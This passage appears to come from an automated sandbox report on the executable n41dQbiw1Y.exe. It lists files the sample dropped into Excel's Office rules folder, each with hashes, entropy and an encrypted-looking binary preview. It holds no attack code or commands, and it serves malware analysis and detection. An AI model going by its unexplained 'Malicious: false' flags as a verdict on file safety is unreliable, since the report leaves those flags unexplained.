Preview:	<?xml.........#.dS..1.Y..}GK..o1yF..e\|x.H?..N...!....2..1[Z5...E.&..EMp...V..C.\}.wnXC81Tq....+;...Ff......H.#M....s.M\|`N3,qC.u.5...g......=u..........uc[A.N.......6i.i.lU\|2%tU/K.T..hpsHS5..a.V..N..4i...Z.a....9K....3zq.....R..&..\|...K...!..r.bu.L=...)......[......./i.....hHl0.;T.^.]..r%.B-.!...7.X....S.x....GD.?mxW...<.Q..V..r..e....RH=5..Z..i.VL.p...4........L}..j..Af.\|J..V.5.........8;@x!..h=Z.G.....9&0..!...../~...s....O....K.c........;.j.f.....dD.o.t6.D80..x....f.T....a..Q... ..3...A.Q.!.~.d..l...M+._K{4....].@d$.Wc..+o.N..[.Tt...\M]..yoe..f.:..r.B..$J5{.}........2y......;..Mpr..... .............4#..{...z....F.....2...g.#.....H...La...~D].WY..i...\j..H...2y.....4E=.....B...f.O....q...;.9;.....e..qgD..c...4)..............S.P<.....O.5.U.9;..T..y.+...Z..Wy_)7........m........8.I.P..:...,.....q%;.o.......B..D..~:..x#.*........d.x...c.......6.i..D3.h{.W..O.....\|)...).<..Y..P.x...T...'..,&-P..qEdn.P......m.G...........)_H$z.O.k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.964399957078177
Encrypted:	false
SSDEEP:	96:HPIhH6zJNzEgikwRIP+fu8oQZY10DIUdzVQv7RhcYD:Ha2j7PX8ox1sIR1hca
MD5:	66331A61133F739024FFDA12899F7235
SHA1:	C848C22CB7E955A3DE85A7EFCDB8E15E37EFB3C9
SHA-256:	9A57BA321901CB01F4430C93EDC9E29F8A7BE57F146AFED8EF7D73FAB1BD9FB9
SHA-512:	78932D67828DFB07CC13AA6C5D51B0227296D4461EE000B96B1FC8E6F7F1EB2425ECA4EE5DEF502549B0B0CFA980A62689A9CF9C9A7B11C912EB508F45AEF100
Malicious:	false
Preview:	<?xml.yc..~.V..D...\'.........yY.....$.;...............np...1..VL....b......`.m.......$...^0...AU.s...,...~..!<..\]..4P....e...........y.....AGl..N.4.#`....8.....g.Lg.Q..j..........~G....k...gy...F....h.P..Q$d..z;....@Q.u..s.]......t.=.s.f%....h.G........... U..\|'......@P`.....U. P../2J.JA....p.....i..].d#.Ji.o.;i....>...0.^J.N.i.5d..Y#.!!j%z{..K9..V....j...~..rL....L.x....e.v...F.vG..FB..&&v.d.:........Dz....C.....E..:.f....MU.G...t...,r...R...".cbi.XB.W.C.x...6...Mj.. ...VV..;SYM/...a.J.....BFld. Yc..]..c..2..6........{P....\Lv....pq.,......2P..m...i....s...{\|\.p.%Bv\|.~j.F!....~B..........<.Q .bK..X...!.L_.x.i.%..kCR....i..s...s..w..U...c}.F....O...c.U....R....0...o.r.m..7.N5;.H.....x....]h....7.!..v..A.n..r......3~.s.....hBC=..]a.<.1D..W..q.@...Xz.z.t...P...y........F+..4...N..K..:..wz{u..u.M.=_..._.-Oef>~..].t\.A.e.9!.v...b..}.....k...et.A.....a. .<..U...Z...q........5..........?&..).#V,.tIf.%..0K...._{`o....k.j.T...>..P.F .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.971175634766857
Encrypted:	false
SSDEEP:	96:Hwr40CUYSAZ94AF51FImzv+oRX+4a4RibpV5Ak14XnUCtqWkf+LF/XvqkQk/M:Qr1B12rImzmoJq7bbd4XU/Wki91Qk0
MD5:	3432D4563E6893335BCC1F8C7A9DCBD7
SHA1:	45BAD98412D3FF1636A27A4ACB95FAD9065B2CA5
SHA-256:	AC88365AE10EAF11F4A9701E3FCF7876C35567B2B92882D5970BDA8633D2E84E
SHA-512:	2CF4C28A7A6076E69893C22975FF8ED9627CBC431FC88E7A8CF31FF9A9C7897EA8123FDCC6AB2A99CE13E9D3F1609A2C8DF9E6913A3C5B779EA8406A0C312DEE
Malicious:	false
Preview:	<?xmlY..!:..z..... .!g$.'...........4.v.YM.}f\...-...{...C..A>4.>....R,../.S...,...$]...k_...Y;@..)...j./..J.RQ.....Dk'..C...~o..H.g.%..l...&.H...21....v.....j..'o.}c.].dM....N...x~.Ot....~.qJ..1...q.M...?.K./E...!....~;.ki.....4.61.tZ.E[I..G.R.......I9t.j.B.[.'HD.5v..Y6... .k)r.>..(T..H.3.4.1.........t{. \|.ux.c{Y\|.....G.Cv.....l.n..p.i.....x#9.+..(TzU...........x...C".~o8...".aQz.h..z.s..BP+...(<q...$..j.@..........!%..r:.\|48c....z.w.e...(M...._l2.M.....(......r]P..rn..>?:.S..z..-m.I.bO..w$P\j8...N#...H...T../........t..h.....fDY..(=3.W..Kx..4..\|E.r..5,...y.;[..K..@.......b..Lm5..N.......b.&Np....Z6....Tna0.....^.+W<.z..^.~.s.../.C^.!.P...`.i.dynK.8....]...P......%9...fN.r.....p.Q.2...2"ym.V.^\|l8....5.......=^.6Lh...i....L...........?r..[pu...l.AV.xbb72..\|[........l.....\...$].. .5.d>......m....p&a....Py...........Y...o..2..W.......A.w.MSm.~}.\.qf.K.v......UW..i...7.gK5QF.....p....!.Q..t.^.~...E4.1...-.jFw......?v..-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.973064817007785
Encrypted:	false
SSDEEP:	192:lwJdr69gpPh7TGCmjHWIBRNvkhNgaCVNnq:Ik+5FMWIBHvkN
MD5:	D59D99BF62AE89AEACC2F1686EC622CF
SHA1:	D56142098599FD87CF4C7A6C38BC6CB3F16598D6
SHA-256:	5EB457549F0D871767BF07B52D10BCE47366D9CE1555434B989B38A852A4C627
SHA-512:	CD2BAAF472EBE0614EE989EE8D2A142690DF263258D4032587FF3377BC5D896D2220B7303D748F50E7CB350F3472F2136D897A62E1693540E7E7977F2E2ECFD2
Malicious:	false
Preview:	<?xmlx......h..t..W.v.5..\.$...\W!.........U<I.p.Cf..C...a.s.f..B....u......$v.%.H......z.=.%..V..$r..q~..q'b..d..3.2Vu..,...U.`..._.,......^.Cv.r5.`F.m....juUdA#H...d...^.s.%.J..)a..{@W.Q......"(..t.U...d<x.f..A.B.R..-....r^".i.}t.$....rx..X..M..C.4.}x..6...x2~x@.G..5...M....o..KV.C.f-0"...`.O.8.h..:..4.....N..@...c.;.2q.......!,......Y[y''3.g..$.`...z....k.W..@...]..m&x2X]..y..=T.sG.`}....\&..G=.5..c\|,.X.6?....cpX...z..q..&....k....g~....$ ...Q. .T.i#.y;u.@......b.r..pc5......@......k.Kz5.......0..Z.m}....h..<.(.7.9.bo~.,!..v%R.2./0.+,.5R,...-.z.3i..-..A.G{q4J..f.P>H].~....e.r.s.{...O...E.^k...zn.......[...l@;..4..\.`.,.U-.8L......b......M.u.....$8...2-V.X....fm..D..0.@uO6....6.\|.G....VM!'...;.=...+.Zc..x0.}>3.....Y.........u...#.?[s.dd...e.u..z....K..cL..[..=0....{T1.M4.T.Do..Q.m-.@IK.&.Q1.5...:1j.4.:.D.0m....`.:v..L..z+........n..I....:i.^...e.F...;d.}.3...j.....!...T<U.[..b...G.7....\|....3....g.....b.y.ck4Vb.T~.V!6.n...P\|.S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.861614556330478
Encrypted:	false
SSDEEP:	48:vlJccvZ/coUEruXYYSz2NDDr+qLIsdeM+tzG5vsf15D:v3hvzruXYY0fq0W+ekx
MD5:	ECADE6E341BD124356699A445BE241EB
SHA1:	0C9BAA6CA6D491146565F25604A121BE9A239303
SHA-256:	E297D74B005B74EFD55B15B32E4B45CC612092AD64B176FDA0187474E6093F21
SHA-512:	03A64B529EBA084458B475C44CA85D450C82E0A6E02E8B570E83691DF7ACAA7DCBA796AA5E474A9CB3C9972510374CE7109C261C17527088513F932D5D0A0B88
Malicious:	false
Preview:	<?xml{....M...{........^%..#2..B.q}.o'....90w......<J...$.-..!.b..]C.(p....k@G....$~..&...i.iYX......K....-.G.F....)\K.P..k..W.........@..N'p..&.&...EJ..^..O......yKL.v!.4..[Nq.w.P{\|..fo......0.F.p." ..Jo....#..Y....-.....a....Qb....7.Khw.n.y.6.........%..M.....@X&..:........Ms./...~.)o....A.4...~..-F..G..D...q.>A7.....u0K...s~.ri.@.........!..1..xKr..-Z.&.....~.6.M..h...'.K.2....?;.C...FK.....6R.D../..H...0.4.F.E....w..MFC....Wg.4^.."KX&........H'.T...J.;L.......}..9......y.......#.6..Dw.... ./\|..A......0...Lv.#..........ar....._.....b...f".5.. .s.c6v.j.=.&....;..t.=_..5.....R.!..2w........ac./....$...[.4....?...\|..=...g.E..;..n3O} j..7.+S....s....M.K.>.P$.....T.~.fc..V..V........U..A..8).S.W.rI......._..A.>.4...a....._H.C.....h...y.-...L.+j.d....tN_[...W...w..pGp.0.....B...*....1...q?............Y.i.Q2...MBd...:._.......G.n+Z...........D....T........H#...O.Y...f.,".7.E...O.t..c...E.zP.:.k.`...H0...B..d.~.'V.s".,...F...;..e....?.\aO.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.880821713764277
Encrypted:	false
SSDEEP:	48:osUGiqOrg/G6UdihIOfXBrY+NOi5dC2m9vb/tYD:sng/PUd9iBrYWo2Wq
MD5:	60C70662DF1FB9C129A2F4D42971CF66
SHA1:	B93CD3B78A610CAE4B86B63DEA19A2576D30FAFA
SHA-256:	7D73B8B3DDA17E4BF1813B1B2C0583FA44FD1148C0EC5E69C30A9D5A421C7594
SHA-512:	3B85AB42979DBFEC7ABDB327E1407EBF60F7AEBC599661E3EB0AE6BDC120452CA0645255073C7A92B7B66EDEA6EB91DA2041749B367E8B6B6F72FA2C09F131AD
Malicious:	false
Preview:	<?xml.I.0....1`Y.'.\|:.4NDFb..2..=>......;..$....B.......6..T"..h.i.j...0.^l..4.._...V9.....C...pgi.yGaw.. 4.`-.I...B^.Vrr...).X.xI..../..sG.....H...r....V.."...Hq..>G.....;..Sj. .g...{.r:...........\|.s...x.3...N..C.._.x..f...%yc..W.<./uqR5.....DR..q..>KHY..MT.~.i....-.....Sq..=7Sj....:43-..I..9h...n....8..i...Y..#..bRg.i9.."Z0......7y.@%....6j.L.@- ..f...._...d.)a.....0m%8...C..\|`..VU.....0(.e>.\|5"H......'.5.L.%..d4x...B.z.......h.'}.3.wbt;b1....{....K......q..e9."..I-..($.3Q!.uh....-.B.#i.h.v=.'~V...T&(p.>4....9..y.GB......b...W..9.../....q...f. ..\|i....q...Vgjc.&...V...\(.......).F......B....(g..]..........k ..+.5}\|{...........B.....@^9..&......,W.vh#c`5..h<.=.$.@'...w..........."2.Z...L.6.#.~../jsV.!w...5.....}./.........m./.6Ly4..4../J....$...A%...L.L?.......s.N.=....h.e^..;.!....8.u..<ie..`.."._A2)\.cM.........^......*I...z...B..q..h1.6......r.E..-..n...~[.xo+.Z.~?....=..I....:...C..8 .W......EX..+dz.,...;.2f...1..uw..K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.878660088872749
Encrypted:	false
SSDEEP:	48:FqkTCw+WwAimuwNJJJldpYpzfzz9PHxp3Eyll9D:FqSCw+WwAimZJzdpYpzzhPHxpUyllF
MD5:	8A87226CFD035985D0BF5554E4B7FF9E
SHA1:	4732F3E142A3DFEBD3CEAA8A7E9BF7F5E462DD31
SHA-256:	B3656B8D882DD5A1FF9190E9A621050B5F7D010C576541828DD3CD39B75AB6B5
SHA-512:	4DEC6B94E21E7A01880871A2E532C951B6FEBA8C685DF59063A67967F637D3505C46EB289E7F3AE878F813BBBB27F277A998B4500C958406F370CCD077CBA7DA
Malicious:	false
Preview:	<?xml.......s._...UC..e..P....Q.z.Q.D.....Ak.x...)..p}..8.0e.B}..`.....%'...)..>..Kh;...~.......BlG6..a-....}3f.O...@@..H..4...f..8../.j...V..S......WcTp...c..q;R.._........W...vt.R.<.P..%Z.../.-.M\...`d.....b..&.sTTM....u.Kk5..D.&.Fc#.do].p....Y...65.?...Q...[.E.]L.].'.i..#.CK..-Z..is.Q[....@.VE.U..........W.9.....'2@.n....rI.o....-..M..{QX.. ..6..L.l.9.w4F..o87.I..t.0Ts...2....a...P..}..B....r....4.R......gi.OZf..\,.G..>..v.....X2X8..........M..`....\.%.:w.v.q...m....[CQ....x.<........r...l.c..PN.f.+..R.......UC....n...&c./../X.g.8.c)b...9..-.}hu..(0..!..5o.r..w....u...X.D.+.{...L........._".M..m.gkb1xq...g....GULnA..k...9%....9bD.S.Zy.q...h$..~2..['X.h:G...p4X.I[......O1...8...a.@....\]ad"...Y.=.N.Q.9....&..M0^.].$. I.v..........b..&...P,c.53..T..u..;y.E..4W...........=U..%..b...x..>.T.f..$...gm..q0.....yUd.\.$.../w.YO.*.M.g....h.R...n.(...2.L....p.....p.......O....M.0..yp.j.c[.L.. ...\3.s&..-..q..........8..N..z...q..E.E..p,.7....w]s..-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.873495341941618
Encrypted:	false
SSDEEP:	24:SeGM2+zcIxwociNczXo8K9hnvqYq9UEuoA6zFjxVVPcbUpxadO/r+MIfN6fxWU9X:Se6ITNczMhvqH9UEFxPc4zNbs8D
MD5:	B4C257D2ACEE5289FDE4C6CA552AA6DD
SHA1:	7EA4E78267F6F9AE0FB75B8F29EAD547877266AA
SHA-256:	D70E342BD004DBF62B0880EA6DB764EA9B3BA195C8633F0FC182B63C2957931A
SHA-512:	7BD94D9F6594CE755E6B1C22C3A49BFB29D577D02EFE89F096B66BD877FF4BE57FBA7494053C3A5A5546F39F521AB4C4EB21D58D7C79DA565EFA0541943ACF24
Malicious:	false
Preview:	<?xml..h....x4...;....l.;h"h.\...J......'.>.?..<Y.a..^.IW....o......"..~...'S..C.9'...<.j~....%.Cr...[4....b.yfw......-.....5..w..lE....\.y..uG\0.i./...y..H...f.[.%08../..d..`])h.2..<!...$s.d}..&l2...U.!MC..,k..+.....^P%.y...J4cPq!.t.V.....X.A..0$..+.-k.c....`.....v...Q.n...s...Q.2.6sP....yi....;0.f"5.d5a;R.....5...?.(.V.e.. h.-....o+. ;.....D..\|..T4h.N..q.S_.!..Q.\|..+.I....&.).BK.~KuF..........t..b`^...z1%hYs?......~."X-..k.V.XT..v...&.PM..!.....m..r.HT....R.....Z.z...?....'.k....@.hk....VU...O.S.P..}..O..rz/.u.ec...L8s2..d.D.h..b....gTf~.^..5.....[..z.4O..}Xsx....m..U\|+._.Bc...8.e...s@.DJ.T=...-....Z..DE..6.iB.a$V0\Iv.Ul.K;Cj)@..~.s...}........m....u...z[....Ts&....}oa\|.=.EU....c."b.......<r......C_.!6...)..).l..A....p...x.*...[.6un.....E.?.bAD/.)......R...j.T^{.o.v..l.<.R.r..K.Z.o..{..w.S....`[......H.##.'[..L;...g=1...=\.>.......s.Z.&.].."...[.S...bL.....Z.....vWW..nbM-.C.<3.\......-...U...`.9..&3Q..7..>Uo.E.=cz..^c.:.......Jw..P......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.856977079298047
Encrypted:	false
SSDEEP:	24:wrXmiUErftlkSL3xt3Q3Wkd5r1CXi+yZGLK7FOVpjGrsE46De3bD:w7trl13biVBGuSZWsE4OiD
MD5:	49C812C7F43CDC890C720D0D80BD8CB9
SHA1:	BACF7AB1D64CD18ED686F1700B1EBEFE763DEAD2
SHA-256:	258367BDFFCC44108A050D495D19A50BDF5ED1B3BB1F5B659961DAF944666C22
SHA-512:	BF0E9EC0F75E6A0A44DBD6A4FD3B71EF70652CE684FC7EC27FBF25434742CC50018ABD44B8814A797C8A32B60D72C254B74CF55AF1673B589AF224EC76DB8593
Malicious:	false
Preview:	<?xmlM....+(VKF\|U`.1Y..O.r...S...9..j'....r...D.R.d\|.....q....H".'....T!....eE.v....6kI..G.......]4.......,..a..@7....C.&......,.U>.5=..2.........{.k.,...M2.~..v.?F..".".D).Tv.V[..}....s.%.R}H.......G.^:..Tn.......N.v../x&...g.-.[..hO.X.....h+.6.VdBd.TT..@.\|..f.U...2...e.QY. .?'.0......H....]...~)....x...?..YV....;).4d.....4.'H\|y..`.P\|@...\|....so$..=... ~.Ti...I.....>....5.......j..o.e6J...?.+.pY..P........(y0O.Gh.pd..8/.Ht.,AZ....g.}.....)8.....>........udah_.{.AU,.............u.>;..nS.4..}...5......r.}9......Vv......../...K.B../. ?....9,I5r..].v.m.aZ.....e.W..i{z{;.y.r...#x-`.?......,...e...+%O..NTa..e.....V.E..GW.P.........&..>...../...}..eq...(...J'.{AW%.1.$.....(x...c....Z..r.....3..u\o.B..G....v2..!.....s.4?n$ .K1..q..s...A..N.n.......F.ts.HUB...F]..+.O.g...[...?)6))..:..x......"..}Kp\.M.h..4..@op.e.-.-i.......F7....u..r..WV.EF+.e".k.....4..SyU.9..5M4.e....n.X.3.qJi.......ma../...&!.k<_....<..._.B..e//.....c..-....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.863041160324981
Encrypted:	false
SSDEEP:	24:gslAiLDYBxDcvAjMbydSIo9V0JWn/nGT7ownhrb21sxv2/nW/TF1T1OOxLjvuKZX:blN3YsKM5R8C1sxu/WrHT1LXGMD
MD5:	3AF16DD550E140A01842EE3D74B8D425
SHA1:	3056F810DA7583DC2AAC5C6F42C1F340121E6F23
SHA-256:	4163DD6555F43A795FBAFA1AA72A0F7CB7AC5BA64220FF442916E389517D8503
SHA-512:	73EB55B26B442895C5A0DA8FA9E0944CBBDF0E384F880E1F5D616BAF6B2994B72762B0773394C0B68DAF26569817CFBAA75D3A96F1020AD5EE9ACB1790142E6E
Malicious:	false
Preview:	<?xml.R.a...l...w...F....h.......g..&f..S....+.BY!.q.xw_...`.....8..k..D.....^-.......'...H...s2!R+.I.rp....E.z..~..;`....(q..n<E...s.....'2........'...v..Z.y\|d.`......tH..1GB...s...]..e..,..b....Y...Xr..@...0.......`d.(.3......\|...6.[}r...;...@.-.,L..V.w...@o.w.hr.....n...h...F.$.C.nUQ...)Lz.ADh......W@......k..o]...Y..Q...@.D.n..@.{gbw...D..Y9h.. d.......&...I.^!..XOM+..u.. ..gr9'......1....7k.kJ\.T....!rm_"u.L...~P..H...:.6.O.V.{....;..\hs?....O..O...t....1Ah>.a.~).A%..q.lN...+^.D.).m.........-...G....>-X8..sA.C..b._Dx3..D..J...X.......Q.H...O.f).f..}\..X..Y...X...^.1.. .Hh....KB.rH.+..K.w ..4h..~[7%.34.E$. o.;l....b. ..)...........;M......;........xx=..9..L...2.k.U'.s+.y... ..[....>.W..is...E...[.W/.....x..K./...4.*.x. ..{+.f........M..&.~.L.J.9..5.......0..#rL...c..."......L...$Sa_n.m.g";.Bo.X.p....{}..3...?96..z.) v.G......A.H..p....u.._..\..u.sbh...8\|...u..(&.].I.P...........4h.ER/.yE.o.=.b...2r.9z..y.5>.x.<6.....E=.O].L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.745636149986448
Encrypted:	false
SSDEEP:	24:z+OfuwtuBiMVHQ+PGmGcSgBFjzYfIxUxlkvbD:KyuNEMtQtXZSYDxWzD
MD5:	649BBC7882573F05366F67835AA6E56D
SHA1:	205222F1A81DD40E99B88928251C984CCF551AE1
SHA-256:	55F3C87ABBD20CA531DC09940BD08D21BE6A8F1960AF39241E9A0B9026EC2C64
SHA-512:	A747EA0B1D88C676270B03355BB0FDB532B2E271FA74BB554995AD5EA9BACF1407930788E29A4F80C813B850A9827BEBED24FDB3952331F04A3E767D77E2B58D
Malicious:	false
Preview:	<?xmlP..6~..)f. ..GX{..GBo.M_..6...:..+...3...$.u.9_6.O....\|T=o.-...C....w.0..y'F....}eil....Xb..m.........#q=...6."..a.....Z..d1..B Mn I....A..R0.G.O.......\.L.:qp.F.~ ...T4..st.+.Kb.:...k.....V..g..6 (.-9....]..c.Q.:..:.........}..c......f../..H...6.I........y...s.K#....9.s:o..r.@@.8..E.f.w..1.$TI.P.v......@./j.i.s.vL ../nqVvK.H...e.{d.d..U..l..J....9.v.7...\|..k.AkL..BzeVv..`.s._6.u.X....9..ay.[1.s!..............}$......./.{.........a...,.2.5W.s....N9$.M.Z....04.g.G.m.....&.!BQ.AN`L..Kp_Os<.ZW.5F..R..Y{.....A..?[..L)....}/.......=8R..bn.....J.>(\...!..~..H..9............?....(S.:e..S..@..;..)..F.:.t.J6.{.l..{d..5%...nG"...h.rj....1<..s..p....p..L..>.......?TA....\.MHy0D..$....D@,.h@....\|..X.....i..B.,._../..7.?..9.OQl.<SN0.#.Hh...SI0=._Wg....;...wCN...>.....6.Q..Ph......I..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.949502438555479
Encrypted:	false
SSDEEP:	48:n2ky/2jVe/6TuM4nUf9QRXH7Fp75tB/41D2qnXHMoyOJWGZUX7ktSd3XRIHPduQN:C/2c3JKEHRZ5DSnXsYWDX7k4eHP/D
MD5:	388E870C437E076224CB1A571263FAA8
SHA1:	4CF80D21713569B3B508868338629FB66E3990D6
SHA-256:	6FF08117976CD98741C96B7CF235D93CA0F0C35ECF97838867D2E2B197C4D9BB
SHA-512:	631DAFAD6AE18DAEC7109B1419A2BF7BB13DFE57F1488F8B3FFB14CBDAF032BA5E3D5EC50DCF94998D290A37CE2588A7CFF19A03E8BCBFE3771416CDEE75230B
Malicious:	false
Preview:	<?xml...!........P..0._`...y.../.....D$7...MZp.<.y..dkz\|.&..R8.K..:.+.X..k........a.UZ#l.P....T-....G..D.r;....#..P..8.u..U..',....?t.ah]P4`m..y.Jj...t....2@...m./..kI..m....Rf..6.7.v.6..S..n..u..;..[Ax...-.?.....2}....QV.....L.."...P"..:s.{C:.O.....D.3.'h...6LVR.\.R.]..`..XS..2>.. ..Yf....e:bh.D.XZaZVUe.....C..Y\......n2....;..l.?.P.z)&.T.gvv...g.bX._+.......l....5Og,A.......7!^}b....:..K:.@...G.W.Y...# .H...9v......I<.f....W=..h.K"../....(.@>Qm.. .K."cg..H....Q...\.T./.b.,^..g...u(i.~......i....PDx..........e./..?.sA.6....E..4.",.B...mDQB..E..T..'.Ayb"..L.n.[4.G..v..3.cvQ=.;..}......Wm7K...G ..u......Q=L%3...gW...J....!8..(...]>S..5b?.1...f..r)Atd\._w......dK.....b=gL.q...q>.......`.....o.!..[..#..h.%...dY......]..@Pi.T=..0...6b...U....GLE9...@...K..p;.....Z@z....0(.S..``..V..m..n Q.+.b..B..@.M....q.V...._.J...PK.....A....5.V.#k...'.~w.I....$m40..cl....<U.T..e..# .`,}x.C..wi.}RT......4m8.1b.g.n,....)..\|.......=.C7.........V....84..y..*(...c...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.960652716557622
Encrypted:	false
SSDEEP:	96:ab4FFke5rDuEhx4R0wEzgAgideQ3uMM3yB6vO3Jy:acFFbliwwE0Xse37vkw
MD5:	48A42137AD19DE175592DA3AB3E35F35
SHA1:	9DC0640D9C88295629FB0209B0E73BC89B73736B
SHA-256:	C9BBAE46B9E86D49F768EBAD3F3CD059915A1CD274894BC8DA9F59D33E39564A
SHA-512:	9954E32CF3136C1681C1FAC42A01B5C11D3C4093BD21CC616A90A93F408009E1436DF27639E6C246F9B48169B486512ED892EA11522AE3828EED19B2A70ECF2D
Malicious:	false
Preview:	<?xml.`d....Mf$..>~...G...M.SQ....&=~B..$..?>\|U.M......7....kw.s-.....V...q.6..m.-.\|..k.....!Zr.....".=....C...9._HnN...$Di.r;V..0.c.c.I.92.0{.l....`x.5 j..5..0......C.v\.....s.1@..=`Z..kV.....H\....bz.r.2..R.j.#..3T..rz..M....~i$B..Il..DW..I......$.'3..F.+=X....=-.@.......Jq...],......l6.@..B%]...E..@.T.!...u..&.......mO$...W..O.V...$.4.k.....#.....U....%$.p..nv....?4.}...V...S...:KcX.z8..U..M....4....%..1.r..~..Z.-L#(u.w..{....!...u../..q.P.8M<..uj..'..(\....FuP%.,i..C......1...Y..!2..J....H...H!V....... :#C..>..A..J.0~........-.&.fLm".L...d.<..t.......).....D1.D.}.5bjd..._"j>.... 9...9B.&\....z.2w.GuY.WTA..<A..G..c.xx+B.Zi/....ml..........U<[h.^.&.Z."...,.w..$...Lg...<u....dtMv.~.....B....{....dU.H..2....'...e3\|..2...?......4...l...Z......{..#.T.2..F.r..C@.s.8.r..qy.HT..:`..!.D...\^R.......{....(3.t.E?b-.......7Z.a.-\.\|...P]..3E..Y';!ec.@{.....h.(.#....=.1..Ys%.."..u.Yq...{.S...&..a.BHc&....)...-.Uu..k7.AoD...8..)pi+.5..z.}..%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.661991863905205
Encrypted:	false
SSDEEP:	12:cKm8kAJj7o14Hv7izH8NksQieArpvO2BbknqkPBxMbCo0Ff5NuRWkmQCYcii9a:PmkJjU4P7izH8NkVAEqbkqAjMbCVf5wP
MD5:	96E8D182689A50382FE1A8430DAC297C
SHA1:	FE8457E238B1354F2876CC1565ED458F74E388CD
SHA-256:	472524752A362F420D84BA9862B79802880685C99B6B44877E4BC3635467DA7A
SHA-512:	5DA16C7A1D031A160B503E19D5B771AFAA37AC2FA5CC4E1068479D345F71F4ABB5BA3506EB63D9A6FE26E54284113F730BED5B2855A89D3A5E492DF5CF1B6EF3
Malicious:	false
Preview:	<?xml!AE..U..,.7...?P8l2#<0fQ..mU5QY...EZ,z.....v.vh.G.MX`-.........>...8.r.uM.......=...dV.2.{..G....g7./...l.4.+.'J..../.g\..T.D.dy.<.p.S.>R...Q'.....E...oJ.V:B...x.}.W~"~......$....s`XL.Y5.Z.{um./@-Z....3.;(M[.!.YZ...T.s.3.)RGP@{8...;....=..8.y..........MM.Ag...5......LHt.w.....}{..z..........q.Oz....,d.?..y.3.Pvc.w...hm?...s....@\|R}A..W.m$.....(";E.)x.....~Q....,.4(X..s......1.4.......()..,}.....)\..>a.$`....P\j...'...u.f...@ep.. .\A.p.o....c....E.D....+...._]t.wA.Y.....8.8.G.....M..#wj'.$..V...o.V.FV.OM........Q..pKWI....&......o....~Z.....eut.6.8.d._F*G..=.6x.Y. ...4_........H8.:{%f....t.\I.j.q._..> ..~...Tq.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.88847923306954
Encrypted:	false
SSDEEP:	48:JkzBGQ78fQOkYpvhKpTWPkaf7UbjP7ckBaP/D:JkB3gfSivhKZcz7GP7pBy
MD5:	9A5F7C0B1C468452F0DEB6B256812EA2
SHA1:	422FB8CFCC6BC50431BA181FF9EF936B7AAD7011
SHA-256:	611546E0240A3E4E2ABF6DE9B765AFBC084CA56F5FF4B3FD611A81E799B40F3D
SHA-512:	C308E9D38D30D12EEF4E292507A2A5B89508ADB1F5D29E4431F3B725E157C9A7ACD1E062F67534FFE5FD3DE8724231BEDEBE62E27C6766CC15E1B2F8755C4DB6
Malicious:	false
